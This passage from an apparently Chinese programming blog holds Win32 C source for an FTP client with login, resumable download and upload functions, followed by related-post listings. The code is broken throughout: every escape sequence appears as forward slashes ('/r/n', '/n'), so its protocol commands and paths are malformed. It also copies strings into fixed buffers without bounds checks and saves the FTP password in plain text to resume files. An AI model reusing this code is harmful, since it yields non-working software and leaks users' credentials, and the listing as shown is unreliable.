 strcat(command,"/r/n/0");
 ret=post(cmdSocket,command,strlen(command));
 if(ret!=1)
 {
  printf("/nConnect error!/n");
  free(r);return-1;
 }
 ZeroMemory(data,1024);
 ret=receive(cmdSocket,data,1024);
 if(strncmp(data,"331",3)==0)
 {
  printf("/nConnect success,send PassWord");
 }
 else
 {
  printf("/nConnect error!/n");
  free(r);return-1;
 }
 ZeroMemory(command,1024);
 strcat(command,"PASS ");
 strcat(command,host->PassWord);
 strcat(command,"/r/n/0");
 ret=post(cmdSocket,command,strlen(command));
 if(ret!=1)
 {
  printf("/nConnect error!/n");
  free(r);return-1;
 }
 ret=receive(cmdSocket,data,1024);
 if(strncmp(data,"230",3)==0)
 {
  printf("/nLogin success,prepare to download/n");
 }
 else
 {
  printf("/nConnect error!download aborted/n");
  free(r);return-1;
 }
 if(strncmp(file,"/",1)!=0)
 {
  strcpy(r->file,CurrentHost->CurrentDir);
  if(*(CurrentHost->CurrentDir+strlen(CurrentHost->CurrentDir)-1)!='/')
   strcat(r->file,"/");
  strcat(r->file,_file);
 }
 else
 {
  strcat(r->file,file);
 }
// get file size
 ZeroMemory(command,1024);
 strcat(command,"SIZE ");
 strcat(command,r->file);
 strcat(command,"/r/n/0");
 ret=post(cmdSocket,command,strlen(command));
 if(ret!=1)
 {
  printf("/nConnect error!/n");
  free(r);return-1;
 }
 ZeroMemory(data,1024);
 ret=receive(cmdSocket,data,1024);
 if(ret!=1)
 {
  printf("/nConnect error!/n");
  free(r);return-1;
 }
 if(strncmp(data,"213",3)!=0)
 {
  printf("/nCan't find the file/n");
  free(r);return-1;
 }
 r->size=atoi(data+4);
 r->alreadydone=0;
 r->sockcmd=cmdSocket;
 r->hostPort=(unsigned short)htons((unsigned short)atoi(CurrentHost->Hostport));
 strcpy(r->dest,directory);
 strcat(r->dest,"//");
 strcat(r->dest,_file);
 r->next=NULL;
// fill profile and create profile and realfile
 strcpy(incomName,"incompletes//");
 strcat(incomName,_file);
 strcat(incomName,".tmp");
 strcpy(r->tmp,incomName);
 hFile=CreateFile(incomName,GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_DELETE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
 if(hFile==INVALID_HANDLE_VALUE)
 {
  printf("cannot create profile,download fail.");
  free(r);return-1;
 }
 ret=0;
 r->hostip=hostaddr.sin_addr.s_addr;
 strcpy(r->hostSite,CurrentHost->HostName);
 strcpy(r->PassWord,CurrentHost->PassWord);
 strcpy(r->UserName,CurrentHost->UserName);
 WriteFile(hFile,r,sizeof(RESUME),&ret,0);
 if(!ret)
 {
  printf("/ncannot write profile,download fail/n");
  free(r);return-1;
 }
 CloseHandle(hFile);
 hFile=CreateFile(r->dest,GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_DELETE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
 if(hFile==INVALID_HANDLE_VALUE)
 {
  printf("cannot create file,download fail.");
  free(r);return-1;
 }
 CloseHandle(hFile);
 r->state=0;
 addtoDownLoadList(r);
// start download
 r->hThread=CreateThread(0,0,downLoadProcA,r,0,0);
 return 1; 
}

int resumeDownLoad(RESUME *profile)
{
// login
 SOCKET cmdSocket;
 struct sockaddr_in hostaddr;
 int ret;
 unsigned short port;
 char **ptr=NULL;
 int *addr=NULL;
 struct hostent *iphost=NULL;
 char data[1024]={0};
 char command[1024]={0};
 char incomName[80]={0};
 iphost=gethostbyname(profile->hostSite);
 if(iphost==NULL)
 {
  printf("/nConnect error!/n");
  return -1;
 }
 port=profile->hostPort;
 if(port==0 || port>65535)
  port=21;
  ptr=iphost->h_addr_list;
 addr=(int *)(*(ptr));
 hostaddr.sin_family=AF_INET;
 hostaddr.sin_port=(unsigned short)port;
 hostaddr.sin_addr.s_addr=*(addr);
 cmdSocket=socket(AF_INET,SOCK_STREAM, IPPROTO_TCP);
 ret=connect(cmdSocket,&hostaddr,sizeof hostaddr);
 if(ret!=0)
 {
  printf("/nConnect error!/n");
  return -1;
 }
 ret=receive(cmdSocket,data,1024);
 if(ret!=1)
 {
  printf("/nConnect error!/n");
  return -1;
 }
 if(strncmp(data,"220",3)==0)
 {
  printf("/nConnect success,send UserName");
 }
 else
 {
  printf("/nConnect error!/n");
  return -1;
 }
 ZeroMemory(command,1024);
 strcat(command,"USER ");
 strcat(command,profile->UserName);
 strcat(command,"/r/n/0");
 ret=post(cmdSocket,command,strlen(command));
 if(ret!=1)
 {
  printf("/nConnect error!/n");
  return -1;
 }
 ZeroMemory(data,1024);
 ret=receive(cmdSocket,data,1024);
 if(strncmp(data,"331",3)==0)
 {
  printf("/nConnect success,send PassWord");
 }
 else
 {
  printf("/nConnect error!/n");
  return -1;
 }
 ZeroMemory(command,1024);
 strcat(command,"PASS ");
 strcat(command,profile->PassWord);
 strcat(command,"/r/n/0");
 ret=post(cmdSocket,command,strlen(command));
 if(ret!=1)
 {
  printf("/nConnect error!/n");
  return -1;
 }
 ret=receive(cmdSocket,data,1024);
 if(strncmp(data,"230",3)==0)
 {
  printf("/nLogin success,prepare to download");
 }
 else
 {
  printf("/nConnect error!download aborted/n");
  return -1;
 }
// start download 
 profile->state=0;
 profile->sockcmd=cmdSocket;
// start download
 profile->hThread=CreateThread(0,0,downLoadProcA,profile,0,0);
 return 1;
}

int resumeList()
{
 RESUME *r;
 int ret;
 HANDLE hFind,hFile;
 WIN32_FIND_DATA wfd;
 char name[128];
 hFind=FindFirstFile("incompletes//*.tmp",&wfd);
 if(hFind==INVALID_HANDLE_VALUE)return 0;
 r=(RESUME *)malloc(sizeof(RESUME));
 strcpy(name,"incompletes//");
 strcat(name,wfd.cFileName);
 hFile=CreateFile(name,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
 if(hFile!=INVALID_HANDLE_VALUE)
 {
  ReadFile(hFile,r,sizeof(RESUME),&ret,0);
  CloseHandle(hFile);
  r->state=0;
  addtoDownLoadList(r);
 }
 else
 {
  free(r);
 }
 while(FindNextFile(hFind,&wfd)!=0)
 {
  r=(RESUME *)malloc(sizeof(RESUME));
  strcpy(name,"incompletes//");
  strcat(name,wfd.cFileName);
  hFile=CreateFile(name,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
  if(hFile!=INVALID_HANDLE_VALUE)
  {
   ReadFile(hFile,r,sizeof(RESUME),&ret,0);
   CloseHandle(hFile);
   r->state=0;
   addtoDownLoadList(r);
  }
  else
  {
   free(r);
  }  
 }
 FindClose(hFind);
 return 1;
}
int addtoUpLoadList(UPLOAD *r)
{
 r->next=Up.next;
 Up.next=r;
 return 1;
}

DWORD WINAPI upLoadProcA(LPVOID lpParam)
{
 UPLOAD *r;
 HANDLE hListenThread;
 unsigned short i,j,port;
 char *ptr1,*ptr2;
 char command[64]={0};
 char param1[128]={0};
 char already[64]={0};
 char _data[512]={0};
 char *data;
// start pasv  
 char numBuf[8]={0};
 HANDLE hFile;
 SOCKET dataSock;
 struct sockaddr_in hostaddr;
 int ret,ip,jp;
 int flag=0;
 r=lpParam;
 data=VirtualAlloc(NULL,r->size,MEM_COMMIT,PAGE_READWRITE);
 if(data==NULL){VirtualFree(data,1024*1024,MEM_DECOMMIT); return-1;}
 ZeroMemory(data,r->size);
// set pasv
 if(PasvOrPort==0)
 {
  ZeroMemory(command,64);
  strcat(command,"PASV /r/n/0");
  ret=post(r->cmdSock,command,64);
  if(ret!=1)
   {VirtualFree(data,1024*1024,MEM_DECOMMIT); return-1;}
  ZeroMemory(_data,512);
  ret=receive(r->cmdSock,_data,512);
  if(strncmp(_data,"227",3)!=0)
   {VirtualFree(data,r->size,MEM_DECOMMIT); return-1;}
  ptr1=_data+strlen(_data);
  while(*(ptr1)!=')')
   ptr1--;
  ptr2=ptr1;
  while(*(ptr2)!=',')
   ptr2--;
  strncpy(numBuf,ptr2+1,ptr1-ptr2-1);
  j=atoi(numBuf);
  ptr2--;
  ptr1=ptr2;
  ptr2++;
  while(*(ptr1)!=',')
   ptr1--;
  strncpy(numBuf,ptr1+1,ptr2-ptr1-1);
  i=atoi(numBuf);
  port=i*256+j;
  dataSock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  hostaddr.sin_addr.s_addr=CurrentHost->HostIp;
  hostaddr.sin_family=AF_INET;
  hostaddr.sin_port=htons(port);
  ret=connect(dataSock,&hostaddr,sizeof hostaddr);
  if(ret!=0)
  {
   {VirtualFree(data,r->size,MEM_DECOMMIT);return-1;}
  }
 }
 else
 {
  r->sockdata=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  hostaddr.sin_family=AF_INET;
  hostaddr.sin_addr.s_addr=INADDR_ANY;
  hostaddr.sin_port=0;
  ret=bind(r->sockdata,&hostaddr,sizeof(hostaddr));
  dataSock=r->sockdata;
  hListenThread=CreateThread(0,0,ListenProc,&(r->sockdata),0,0);
  if(ret==SOCKET_ERROR)
  {
   free(data);
   return -1;
  }
  ip=sizeof(struct sockaddr);
  ret=getsockname(r->sockdata,(struct sockaddr *)&hostaddr,&ip);
  if(ret==SOCKET_ERROR)
  {
   free(data);
   return -1;
  }
  ip=ntohs(hostaddr.sin_port)/256;
  jp=ntohs(hostaddr.sin_port)%256;
  ZeroMemory(command,64);
  strcat(command,"PORT ");
  ZeroMemory(param1,128);
  ret=sizeof(struct sockaddr_in);
  getsockname(r->cmdSock,&hostaddr,&ret);
  strcpy(_data,inet_ntoa(hostaddr.sin_addr));
  ptr1=_data;
  while(*(ptr1)!=0)
  {
   if(*(ptr1)=='.')
   {
    *(ptr1)=',';
   }
   ptr1++;
  }
  strcat(command,_data);
  strcat(command,",");
  strcat(command,itoa(ip,numBuf,10));
  strcat(command,",");
  strcat(command,itoa(jp,numBuf,10));
  strcat(command,"/r/n/0/0");
  ret=post(r->cmdSock,command,strlen(command));
  if(ret!=1)
  {
   free(data);
   return -1;
  }
  ZeroMemory(_data,512);
  ret=receive(r->cmdSock,_data,512);
  if(strncmp(_data,"200",3)!=0)
  {
   free(data);
   return -1;
  }
 }
 hFile=CreateFile(r->file,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
 GetLastError();
 if(hFile!=INVALID_HANDLE_VALUE)
 {
  ReadFile(hFile,data,r->size,&ret,0);
  FlushFileBuffers(hFile);
  CloseHandle(hFile);
 }
 else
 {
  return -1;
 }
 ZeroMemory(command,64);
 strcat(command,"STOR ");
 strcat(command,r->dest);
 strcat(command,"/r/n/0/0");
 ret=post(r->cmdSock,command,strlen(command));
 ret=receive(r->cmdSock,_data,512);
 if(strncmp(_data,"150 ",3)==0)
// upLoad!
 {
  if(PasvOrPort==1)
  {
waiting:
   if(dataSock==r->sockdata)
   {
    Sleep(20);
    goto waiting;
   }
   dataSock=r->sockdata;
  }
  send(dataSock,data,r->size,0);
  closesocket(dataSock);
  ret=receive(r->cmdSock,_data,512);
  if(strncmp(_data,"226",3)==0)
   r->alreadydone=1;
  else
   r->alreadydone=-1;
  return 1;
 }
 else
 {
  r->alreadydone=-1;
  return 1;
 }
}

int upLoad(char *file,char *dest)
{
 HANDLE hFile;
 SOCKET cmdSocket;
 struct sockaddr_in hostaddr;
 Host *host;
 UPLOAD *r;
 int ret;
 unsigned short port;
 char **ptr=NULL,*_file=NULL;
 int *addr=NULL;
 struct hostent *iphost=NULL;
 char data[1024]={0};
 char command[1024]={0};
 char incomName[80]={0};
 host=CurrentHost;
 iphost=gethostbyname(host->HostName);
 r=(UPLOAD *)malloc(sizeof(UPLOAD));
 ZeroMemory(r,sizeof(UPLOAD));
 if(iphost==NULL)
 {
  printf("/nConnect error!/n");
  free(r);return-1;
 }
 port=atoi(host->Hostport);
 if(port==0 || port>65535)
  port=21;
  ptr=iphost->h_addr_list;
 addr=(int *)(*(ptr));
 hostaddr.sin_family=AF_INET;
 hostaddr.sin_port=(unsigned short)htons(port);
 hostaddr.sin_addr.s_addr=*(addr);
 cmdSocket=socket(AF_INET,SOCK_STREAM, IPPROTO_TCP);
 ret=connect(cmdSocket,&hostaddr,sizeof hostaddr);
  if(ret!=0)
 {
  printf("/nConnect error!/n");
  free(r);return-1;
 }
 ret=receive(cmdSocket,data,1024);
 if(ret!=1)
 {
  printf("/nConnect error!/n");
  free(r);return-1;
 }
 if(strncmp(data,"220",3)==0)
 {
  printf("/nConnect success,send UserName");
 }
 else
 {
  printf("/nConnect error!/n");
  free(r);return-1;
 }
 ZeroMemory(command,1024);
 strcat(command,"USER ");
 strcat(command,host->UserName);
 strcat(command,"/r/n/0");
 ret=post(cmdSocket,command,strlen(command));
 if(ret!=1)
 {
  printf("/nConnect error!/n");
  free(r);return-1;
 }
 ZeroMemory(data,1024);
 ret=receive(cmdSocket,data,1024);
 if(strncmp(data,"331",3)==0)
 {
  printf("/nConnect success,send PassWord");
 }
 else
 {
  printf("/nConnect error!/n");
  free(r);return-1;
 }
 ZeroMemory(command,1024);
 strcat(command,"PASS ");
 strcat(command,host->PassWord);
 strcat(command,"/r/n/0");
 ret=post(cmdSocket,command,strlen(command));
 if(ret!=1)
 {
  printf("/nConnect error!/n");
  free(r);return-1;
 }
 ret=receive(cmdSocket,data,1024);
 if(strncmp(data,"230",3)==0)
 {
  printf("/nLogin success,prepare to upload");
 }
 else
 {
  printf("/nConnect error!upload aborted/n");
  free(r);return-1;
 }
 r->cmdSock=cmdSocket;
 strcpy(r->dest,dest);
 strcpy(r->file,file);
 r->next=NULL;
 hFile=CreateFile(file,GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
 if(hFile==INVALID_HANDLE_VALUE)
 {
  printf("/ncannot open the file for upload!/n");
  closesocket(cmdSocket);
  free(r);
  return -1;
 }
 ret=GetFileSize(hFile,0);
 CloseHandle(hFile);
 r->size=ret;
 r->alreadydone=0;
 strcpy(r->hostSite,CurrentHost->HostName);
 addtoUpLoadList(r);
// start download
 r->hThread=CreateThread(0,0,upLoadProcA,r,0,0);
 return 1; 
}

int DeleteDown(RESUME *r)
{
 RESUME *p;
 p=&ResumeFile;
 while(p->next!=r && p)
 {
  p=p->next;
 }
 if(p->next==r)
 {
  p->next=r->next;
  free(r);
 }
 return 1;
}

int DeleteHost(Host *h)
{
 Host *p;
 p=&HostList;
 while(p && p->next!=h)
 {
  p=p->next;
 }
 if(p->next==h)
 {
  p->next=h->next;
  free(h);
 }
 return 1;
}

int DetectCurrentHostHost()
{
 char command[128]="PWD";
 char data[128]="/0";
 int ret;
 strcat(command,"/r/n");
 ret=post(CurrentHost->HostSocketCmd,command,strlen(command));
 if(ret!=1)
 {
  return -1;
 }
 ret=receive(CurrentHost->HostSocketCmd,data,128);
 if(ret!=1 || strncmp(data,"257",3)!=0)
 {
  return -1;
 }
 return 1;
} 

  ftp客户端源代码，使用VC+SOCKET编程，在SERV-U6.0服务器上测试通过，能断点续传    
xwchen
关注
ftp客户端源代码，使用VC+SOCKET编程，在SERV-U6.0服务器上测试通过，能断点续传
guokeno1－－JEFF的技术博客
05-28 7527
程序复杂,注释我就不多写了,函数名在上面,都是模块化的,可以随时调用#include #include #include #include #include #include typedef struct Hoststruct{ char HostName[128]; unsigned int HostIp;  char Hostport[32]; char UserName[128]; 
FTP客户端的实现
11-13
自己实现的一个FTP客户端，分享出所有的代码。希望有助于你的进一步研究
服务器的端口号和客户_【免费毕设】FTP客户端设计与实现
weixin_39842744的博客
11-30 333
点击上方“蓝字”关注我们目录系统设计互联网的一大特点是实现信息共享，文件传输是信息共享的十分重要的内容之一。随之出现了许多FTP服务器来共享一些信息资源，编写一个操作简单，方便的FTP客户端来下载这些资源受到了人们的极大欢迎。FTP客户端软件是在了解FTP工作原理后，利用C#语言来设计和开发的。FTP客户端分为连接模块、文件管理模块、文件传输模块和辅助管理模块。连接模块实现主机与服务器的...
简单Ftp客户端的实现
qq_61141142的博客
10-16 842
简单Ftp客户端的实现在WINDOWS环境下，使用VC++开发工具实现一个FTP客户端软件。
一个FTP客户端的设计与实现（C实现）
04-28
一个用C语言实现的FTP客户端，包含上传、下载、目录列表、删除、文件列表等功能。
麒麟V10服务器安装FTP客户端
03-13
作为一款在服务器上安装FTP客户端的操作指南，本文旨在详细介绍如何在麒麟V10操作系统环境下安装和配置FTP客户端。在进行具体操作之前，我们首先需要理解FTP（File Transfer Protocol）协议的基本概念，它是用于在...
QT5.0实现FTP客户端
06-22
FTP客户端用于连接到FTP服务器，执行上传、下载、列举目录、改变工作目录等操作。在QT5.0中实现FTP客户端，主要涉及以下知识点： 1. **QNetworkAccessManager**：这是QT5的核心类，用于处理所有类型的网络请求。...
基于C语言的FTP客户端设计源码
03-29
这是一个基于C语言的FTP客户端设计，使用C、C、C++和C++语言开发，包含557个文件。主要文件类型包括111个CMake文件、72个Make文件、54个TXT文件、40个C源文件、40个O文件、33个H文件、28个SO文件、27个BIN文件和19个...
QT实现FTP客户端，QT5 VS编译QFtp
02-24
在本项目中，“QT实现FTP客户端，QT5 VS编译QFtp”指的是使用QT5库开发一个FTP（文件传输协议）客户端，并在Visual Studio（VS）环境下进行编译。FTP客户端是能够连接到FTP服务器并执行文件上传、下载和管理操作的...
基于qt写的ftp客户端小软件
04-02
**FTP客户端概述** FTP（File Transfer Protocol）是互联网上一种用于传输文件的标准协议，它允许用户从远程服务器上下载文件或上传文件到服务器。FTP客户端是实现FTP协议的软件工具，用户通过它与FTP服务器进行...
ftp server vc6.0 mfc c++代码
06-14
ftp server vc6.0 mfc c++代码 可以在window上使用,默认密码 123321 可以实际使用
VC6.0编写的FTP上传与下载实例 源码
08-03
VC6.0编写的FTP上传与下载实例(MFC)适合初学者
VC++ FTP下载程序(FTP客户端)
07-09
一、需求分析------------------------------------------2 1、功能需求 2、开发环境与工具 3、所需要知识 二、知识理解 -----------------------------------------2 1、FTP实现的基本原理 （1）概要 （2）上传和下载 （3）用户FTP和匿名FTP （4）ASCII和Binary (5)Port和Passive 2、WinInet的中FTP的基本操作 （1）头文件 （2）打开连接和关闭 （3）CFtpConnection的操作函数 三、完成进度-----------------------------------------5 1、已完成部分 2、未完成部分 3、还需改善的部分 四、模块化设计---------------------------------------6 五、详细设计-----------------------------------------7 1、CFtpDlg类的一些函数定义………………………………………………7 2、CFtpOperate的一些函数定义……………………………………………22 六、测试结果----------------------------------------36 七、用户手册----------------------------------------40 八、实验总结----------------------------------------41 九、附录--------------------------------------------41 还有可运行代码
vc 6.0开发ftp断点续传源代码
09-10
在自己的工程中引入所有文件，在stdafx.h中对照本下载工具项目的stdafx.h，应该是要加入afxsock.h。 参考main.cpp。主要是调用DownloadHelper。先添加任务，然后设置onFinish（下载完成后的动作），最后start。 如果目录中已有该文件，程序会自动覆盖，不会出错。 默认下载端口是80，不支持其他端口。如果要这个功能，请修改Mydownload中的fnMyDownload,HttpDownLoadNonProxy加入nHostPort。 ###fnMyDownload说明： bool fnMyDownload( CString strUrl, CString strWriteFileName, unsigned long *& downloaded, unsigned long & totalSize, CString strProxy, int nProxyPort, int nThread ) strUrl: 需要下载的文件地址， 如：“http://10.20.1.6/musiconline/091029/daisy.mp3” strWriteFileName： 下载后文件的存放地址，如：“d:\\” downloaded： 指针引用，调用函数后会不断变化，实时反映已下载多少字节的数据 totalSize： 传递引用，表示所要下载文件的总长度，与downloaded配合可以分析各种下载信息 strProxy，nProxyPort 这两个为代理选项，有的话填上，如"192.168.1.89",8080 没有的话麻烦点填上"",0 。（呵呵，暂时没有去研究具体怎么使用） nThread： 用于下载开启的线程数，一般3，4个最佳。。太多反而降低速度，而且有些服务器不支持多连接。 例:fnMyDownload("http://10.20.1.6/musiconline/091029/daisy.mp3","d:\\",downloaded,totalSize,"",0,3) ###代码说明 Mydownload.cpp底端的fnMyDownload函数是下载器的关键函数。 其中在原作者的基础上，加了几句编码转换的代码。把网络的文件名和路径转化为UTF8，但这里可能会有问题，例如中文域名。有需要，请再作修改。 DownloadHelper是外围封装的类，用于列表管理，自动断点重连。 ChineseCode用于编码转换。 Thread是一个封装好的线程类，被DownloadHelper继承。类似于Java的Thread类。 ###Mydownload代码笔记： 从fnMyDownload开始，程序首先解析输入的url，拆分为地址，路径，文件名等。然后获取文件头，得到文件大小，然后再下载。重点函数是ThreadDownLoad。下载完之后用FileCombine合并文件。 ###开发测试环境： windows xp + Visual C++ 6.0 !!!!!!需要使用MFC环境!!!!!!!!!!!!
websocket c++ 实现版本
10-09
自己写的websocket 的实现库,可以和js实现websocket长连接
linux C 实现简易 ftp（内含客户端及服务端代码及个人理解）
HermanIu的博客
10-30 1514
Llinux网络及系统文件编程暂时告一段落，这个课其实9月底就学完了，期间因为工作缘故加上个人惰性，迟迟没有学习，今天好不容易抽出时间整理了一下这个小demo，算是监督一下自己吧。有看到这部分的朋友，存在疑惑的点可以相互交流。
2022-7-17 FTP客户端项目实现 - 总结
Tracker647的博客
07-17 978
通过该项目对于Linux的文件和网络相关API更为熟悉，了解了网络协议的基本实现方式，同时加深了对TCP传输特点和网络传输原理的理解。
断点续传
evsqiezi
06-25 1419
FTP下载方式最古老，在没有WWW的日子里，FTP就已经广为使用了。HTTP出现的较晚，但现在也应用的相当广泛。其实，如果你仅仅是为了下载而下载，那么你完全没必要把他们分的那么清，这两种使用的下载方式、下载工具几乎是一模一样的。Internet上早期实现传输文件，并不是一件容易的事，我们知道Internet是一个非常复杂的计算机环境，有PC，有工作站，有MAC，有大型机，据统计连接在Interne
WebService 大文件上传,断点续传工具
Mr_Zang666的博客
07-20 244
一、 功能性需求与非功能性需求 要求操作便利，一次选择多个文件和文件夹进行上传； 支持PC端全平台操作系统，Windows,Linux,Mac 支持文件和文件夹的批量下载，断点续传。刷新页面后继续传输。关闭浏览器后保留进度信息。 支持文件夹批量上传下载，服务器端保留文件夹层级结构，服务器端文件夹层级结构与本地相同。 支持大文件批量上传（20G）和下载，同时需要保证上传期间用户电脑不出现卡死等体验； 支持文件夹上传，文件夹中的文件数量达到1万个以上，且包含层级结构。 支持断点续传，关闭浏览器或刷新浏
FTP客户端
最新发布
03-25
### 如何选择和使用合适的FTP客户端 #### 客户端的选择依据 在选择适合的FTP客户端时，应考虑多个因素来满足特定需求。例如，在开发环境中可能需要支持多种协议（如SFTP、FTPS），以及具备良好的错误处理机制和日志...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值